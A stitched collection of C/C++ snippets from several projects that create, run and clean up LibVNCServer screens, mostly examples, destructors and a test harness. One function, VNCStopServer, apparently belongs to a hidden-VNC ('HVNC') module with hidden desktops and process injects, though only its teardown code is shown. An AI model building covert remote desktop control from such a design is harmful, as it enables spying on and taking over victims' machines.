int main(int argc,char** argv) { rfbFontDataPtr font; rfbScreenInfoPtr s=rfbGetScreen(&argc,argv,640,480,8,3,3); int i,j; s->frameBuffer=(char*)malloc(640*480*3); rfbInitServer(s); for(j=0;j<480;j++) for(i=0;i<640;i++) { s->frameBuffer[(j*640+i)*3+0]=j*256/480; s->frameBuffer[(j*640+i)*3+1]=i*256/640; s->frameBuffer[(j*640+i)*3+2]=(i+j)*256/(480+640); } rfbScreen = s; font=rfbLoadConsoleFont(DEFAULTFONT); if(!font) { rfbErr("Couldn't find %s\n",DEFAULTFONT); exit(1); } for(j=0;j<0 && rfbIsActive(s);j++) rfbProcessEvents(s,900000); i = rfbSelectBox(s,font,fontlist,10,20,200,300,0xffdfdf,0x602040,2,showFont); rfbLog("Selection: %d: %s\n",i,(i>=0)?fontlist[i]:"cancelled"); rfbFreeFont(font); free(s->frameBuffer); rfbScreenCleanup(s); return(0); }
PresentationServer::~PresentationServer() { if (_server) { delete[] _server->frameBuffer; _server->frameBuffer = 0; rfbScreenCleanup(_server); } }
/* Initialization */ int main(int argc,char** argv) { rfbScreenInfoPtr rfbScreen = rfbGetScreen(NULL,NULL,maxx,maxy,8,3,bpp); if(!rfbScreen) return 0; rfbScreen->desktopName = "MIR Screen"; rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); rfbScreen->alwaysShared = TRUE; rfbScreen->kbdAddEvent = dokey; initBuffer((unsigned char*)rfbScreen->frameBuffer, 0); /* initialize the server */ rfbInitServer(rfbScreen); /* this is the non-blocking event loop; a background thread is started */ rfbRunEventLoop(rfbScreen,-1,TRUE); fprintf(stderr, "Running background loop...\n"); unsigned char i = 0; while(! vnc_to_exit) { printf("render() %i\n", i); render(rfbScreen, i); i += 32; sleep(1); } free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); return(0); }
VNCServer::~VNCServer() { if (screen->frameBuffer) { free(screen->frameBuffer); screen->frameBuffer = NULL; } rfbScreenCleanup(screen); }
int main(int argc,char** argv) { rfbScreenInfoPtr rfbScreen = rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp); rfbScreen->desktopName = "LibVNCServer Example"; rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); rfbScreen->alwaysShared = TRUE; rfbScreen->ptrAddEvent = doptr; rfbScreen->kbdAddEvent = dokey; rfbScreen->newClientHook = newclient; rfbScreen->httpDir = "../classes"; rfbScreen->httpEnableProxyConnect = TRUE; initBuffer((unsigned char*)rfbScreen->frameBuffer); rfbDrawString(rfbScreen,&radonFont,20,100,"Hello, World!",0xffffff); /* This call creates a mask and then a cursor: */ /* rfbScreen->defaultCursor = rfbMakeXCursor(exampleCursorWidth,exampleCursorHeight,exampleCursor,0); */ MakeRichCursor(rfbScreen); /* initialize the server */ rfbInitServer(rfbScreen); #ifndef BACKGROUND_LOOP_TEST #ifdef USE_OWN_LOOP { int i; for(i=0;rfbIsActive(rfbScreen);i++) { fprintf(stderr,"%d\r",i); rfbProcessEvents(rfbScreen,100000); } } #else /* this is the blocking event loop, i.e. it never returns */ /* 40000 are the microseconds to wait on select(), i.e. 0.04 seconds */ rfbRunEventLoop(rfbScreen,40000,FALSE); #endif /* OWN LOOP */ #else #if !defined(LIBVNCSERVER_HAVE_LIBPTHREAD) #error "I need pthreads for that." #endif /* this is the non-blocking event loop; a background thread is started */ rfbRunEventLoop(rfbScreen,-1,TRUE); /* now we could do some cool things like rendering in idle time */ while(1) sleep(5); /* render(); */ #endif /* BACKGROUND_LOOP */ free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); return(0); }
~VNCServerImpl() { if (mFrameBuffer) RTMemFree(mFrameBuffer); if (mCursor) rfbFreeCursor(mCursor); RT_ZERO(szVNCPassword); if (mVNCServer) rfbScreenCleanup(mVNCServer); }
ScreenToVnc::~ScreenToVnc() { IN; close(eventDev); cleanup_fb(); free(m_server->frameBuffer); rfbScreenCleanup(m_server); free(m_compareFrameBuffer); OUT; }
// this is called if the plugin is removed at runtime VncServer::~VncServer() { vassert(plugin); rfbShutdownServer(m_screen, true); rfbScreenCleanup(m_screen); m_screen = nullptr; //fprintf(stderr,"VncServer::~VncServer\n"); plugin = nullptr; }
static void* vnc_thread(void* args) { int i = 0; int argc = 1; int width = g_vnc_context.width; int height = g_vnc_context.height; char* argv[5] = {"FTKVNC", NULL}; rfbScreenInfoPtr rfbScreen = NULL; ftk_logd("%s: vnc thread start.\n", __func__); rfbScreen = rfbGetScreen(&argc, argv, width, height, 8, 4, 4); rfbScreen->desktopName = "FTK VNC"; rfbScreen->alwaysShared = 0; rfbScreen->frameBuffer = g_vnc_context.vnc_buffer; rfbScreen->ptrAddEvent = on_pointer_event; rfbScreen->kbdAddEvent = on_key_event; rfbScreen->newClientHook = on_new_client; rfbScreen->deferUpdateTime = 100; rfbInitServer(rfbScreen); g_vnc_context.rfbScreen = rfbScreen; for(i=0; !g_vnc_context.quit && rfbIsActive(rfbScreen); i++) { if(g_vnc_context.client_nr > 0 && g_vnc_context.active) { if((i % 10) == 0) { rfbMarkRectAsModified(g_vnc_context.rfbScreen, 0, 0, width, height); } } else { sleep(1); } rfbProcessEvents(rfbScreen, 200000); } ftk_logd("%s: vnc thread quit.\n", __func__); rfbScreenCleanup(rfbScreen); return NULL; }
vncserver::~vncserver() { free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); }
int main(int argc,char** argv) { if (argc>1) openSerialPort(argv[1]); bzero(last_raster_crc,sizeof(unsigned int)*1200); rfbScreenInfoPtr rfbScreen = rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp); if(!rfbScreen) return 0; rfbScreen->desktopName = "C65GS Remote Display"; rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); rfbScreen->alwaysShared = TRUE; rfbScreen->kbdAddEvent = dokey; rfbScreen->newClientHook = newclient; rfbScreen->httpDir = "../webclients"; rfbScreen->httpEnableProxyConnect = TRUE; initBuffer((unsigned char*)rfbScreen->frameBuffer); /* initialize the server */ rfbInitServer(rfbScreen); /* this is the non-blocking event loop; a background thread is started */ rfbRunEventLoop(rfbScreen,-1,TRUE); fprintf(stderr, "Running background loop...\n"); int sock = connect_to_port(6565); if (sock==-1) { fprintf(stderr,"Could not connect to video proxy on port 6565.\n"); exit(-1); } raster_cache=calloc(sizeof(struct raster_cache),65536); { int j; for(j=0;j<1200;j++) raster_crc[j]=0; } printf("Allocated raster cache.\n"); printf("Started.\n"); fflush(stdout); int last_colour=0x00; int in_vblank=0; int firstraster=1; int bytes=0; int rasternumber; int last_raster=0; int next_rasternumber=0; int raster_low=0; int raster_high=1200; while(1) { int i; unsigned char packet[8192]; int len=read(sock,packet,2132); if (len<1) usleep(10000); if (1) { if (len > 2100) { // probably a C65GS compressed video frame. // printf("."); fflush(stdout); unsigned char *raster_data=NULL; // Each should consist of 13 blocks of // raster_number (16 bits) // audio left (8 bits) // audio right (8 bits) // CRC32 of raster (32 bits) // dummy byte (8 bits) // One of these should have the MSB set in the raster number // to indicate that a raw raster follows. unsigned int crc; int offset=0x56; for(i=0;i<13;i++) { rasternumber = packet[offset+0]<<8; rasternumber |= packet[offset+1]; rasternumber &= 0xfff; next_rasternumber = packet[offset+9+0]<<8; next_rasternumber |= packet[offset+9+1]; next_rasternumber &= 0xfff; if (rasternumber==1199) { updateFrameBuffer(rfbScreen); } crc=packet[offset+4]<<0; crc|=packet[offset+5]<<8; crc|=packet[offset+6]<<16; crc|=packet[offset+7]<<24; // printf("i=% 2d@$%03x: Saw raster $%04x, crc=$%08x\n",i,offset,rasternumber,crc); // check validity of raster number if (rasternumber>=0&&rasternumber<1200) { if (((!i)&&next_rasternumber-1==rasternumber)||(last_raster+1==rasternumber)) { // rasternumber>=raster_low&&rasternumber<=raster_high) { // remember CRC for this raster raster_crc[rasternumber]=crc; if (raster_data) { // we have raster data, so update the cache bcopy(raster_data,raster_cache[crc&0xffff].data,1920); raster_cache[crc&0xffff].crc=crc; } // describe acceptable raster range for next for supressing glitches raster_low=rasternumber+1; if (raster_low>=1200) raster_low=0; raster_high=rasternumber+50; if (raster_high>=1200) raster_high=1200; } else { // printf(" rejected (acceptable range is %d -- %d)\n",raster_low,raster_high); break; } } last_raster=rasternumber; // keep pointer to and skip raster data if it follows this line if (packet[offset+0]&0x80) { raster_data=&packet[offset+9]; offset+=1920+9; } else { offset+=9; raster_data=NULL; } } } } } free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); return(0); }
void VNCStopServer(HVNC hVNC,DWORD dwFlags) { if (!bHVNCInit) return; HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; PHVNC lpServer=lpHandle->lpServer; if (!lpServer) return; EnterCriticalSection(&csHVNC); { if (!lpServer->bStopped) { if (lpServer->rfbScreen) { if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { UnmapViewOfFile(lpServer->lpSharedMemMapping); SysCloseHandle(lpServer->hSharedMemMapping); lpServer->lpSharedMemMapping=NULL; } rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen; lpServer->bActive=false; SetEvent(lpServer->EventsInfo.hVNCKillEvent); WaitThreadsDeath(lpServer); rfbShutdownServer(rfbScreen,TRUE); lpServer->bUpdateThreadStarted=false; if (rfbScreen->authPasswdData) { PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData; for (int i=0; lppPasswords[i]; i++) MemFree(lppPasswords[i]); MemFree(lppPasswords); rfbScreen->authPasswdData=NULL; } VirtualFree(rfbScreen->frameBuffer,0,MEM_DECOMMIT); rfbScreenCleanup(rfbScreen); lpServer->rfbScreen=NULL; if (lpServer->TaskSwitcherInfo.bTaskSwitcherIsShown) DestroyTaskSwitcherWnd(lpServer,false); if (lpServer->WndWatcherInfo.lpZOrderList) { Z_ORDER_LIST_ITEM *lpItem=lpServer->WndWatcherInfo.lpZOrderList; while (lpItem) { Z_ORDER_LIST_ITEM *lpPrev=lpItem; lpItem=lpItem->lpNext; MemFree(lpPrev); } lpServer->WndWatcherInfo.lpZOrderList=NULL; StopWatcher(lpServer); } if (lpServer->DIBInfo.lpChecksums) { VirtualFree(lpServer->DIBInfo.lpChecksums,0,MEM_DECOMMIT); lpServer->DIBInfo.lpChecksums=NULL; } if (lpServer->DIBInfo.hIntermedMemDC) { SelectObject(lpServer->DIBInfo.hIntermedMemDC,lpServer->DIBInfo.hIntermedOldBitmap); DeleteObject(lpServer->DIBInfo.hIntermedMemBitmap); DeleteDC(lpServer->DIBInfo.hIntermedMemDC); lpServer->DIBInfo.hIntermedMemDC=NULL; } if (lpServer->DIBInfo.hCompDC) { SelectObject(lpServer->DIBInfo.hCompDC,lpServer->DIBInfo.hOldBitmap); DeleteObject(lpServer->DIBInfo.hBitmap); DeleteDC(lpServer->DIBInfo.hCompDC); lpServer->DIBInfo.hCompDC=NULL; } if (lpServer->DIBInfo.hTmpCompDC) { SelectObject(lpServer->DIBInfo.hTmpCompDC,lpServer->DIBInfo.hTmpOldBitmap); DeleteObject(lpServer->DIBInfo.hTmpBitmap); DeleteDC(lpServer->DIBInfo.hTmpCompDC); lpServer->DIBInfo.hTmpCompDC=NULL; } ReleaseDC(NULL,lpServer->DIBInfo.hDC); } lpServer->EventsInfo.dwClients=0; if (lpServer->hDesktop) { CloseDesktop(lpServer->hDesktop); lpServer->hDesktop=NULL; } lpServer->dwExplorersPID=0; lpServer->bStopped=true; } } LeaveCriticalSection(&csHVNC); return; }
int main(int argc,char** argv) { int i,j; time_t t; rfbScreenInfoPtr server; rfbClientLog=rfbTestLog; rfbClientErr=rfbTestLog; /* Initialize server */ server=rfbGetScreen(&argc,argv,width,height,8,3,4); server->frameBuffer=malloc(400*300*4); server->cursor=NULL; for(j=0;j<400*300*4;j++) server->frameBuffer[j]=j; rfbInitServer(server); rfbProcessEvents(server,0); initStatistics(); #ifndef ALL_AT_ONCE for(i=0;i<NUMBER_OF_ENCODINGS_TO_TEST;i++) { #else /* Initialize clients */ for(i=0;i<NUMBER_OF_ENCODINGS_TO_TEST;i++) #endif startClient(i,server); t=time(NULL); /* test 20 seconds */ while(time(NULL)-t<20) { idle(server); rfbProcessEvents(server,1); } rfbLog("%d failed, %d received\n",totalFailed,totalCount); #ifndef ALL_AT_ONCE { rfbClientPtr cl; rfbClientIteratorPtr iter=rfbGetClientIterator(server); while((cl=rfbClientIteratorNext(iter))) rfbCloseClient(cl); rfbReleaseClientIterator(iter); } } #endif rfbScreenCleanup(server); for(i=0;i<thread_counter;i++) pthread_join(all_threads[i], NULL); free(server->frameBuffer); rfbLog("Statistics:\n"); for(i=0;i<NUMBER_OF_ENCODINGS_TO_TEST;i++) rfbLog("%s encoding: %d failed, %d received\n", testEncodings[i].str,statistics[1][i],statistics[0][i]); if(totalFailed) return 1; return(0); }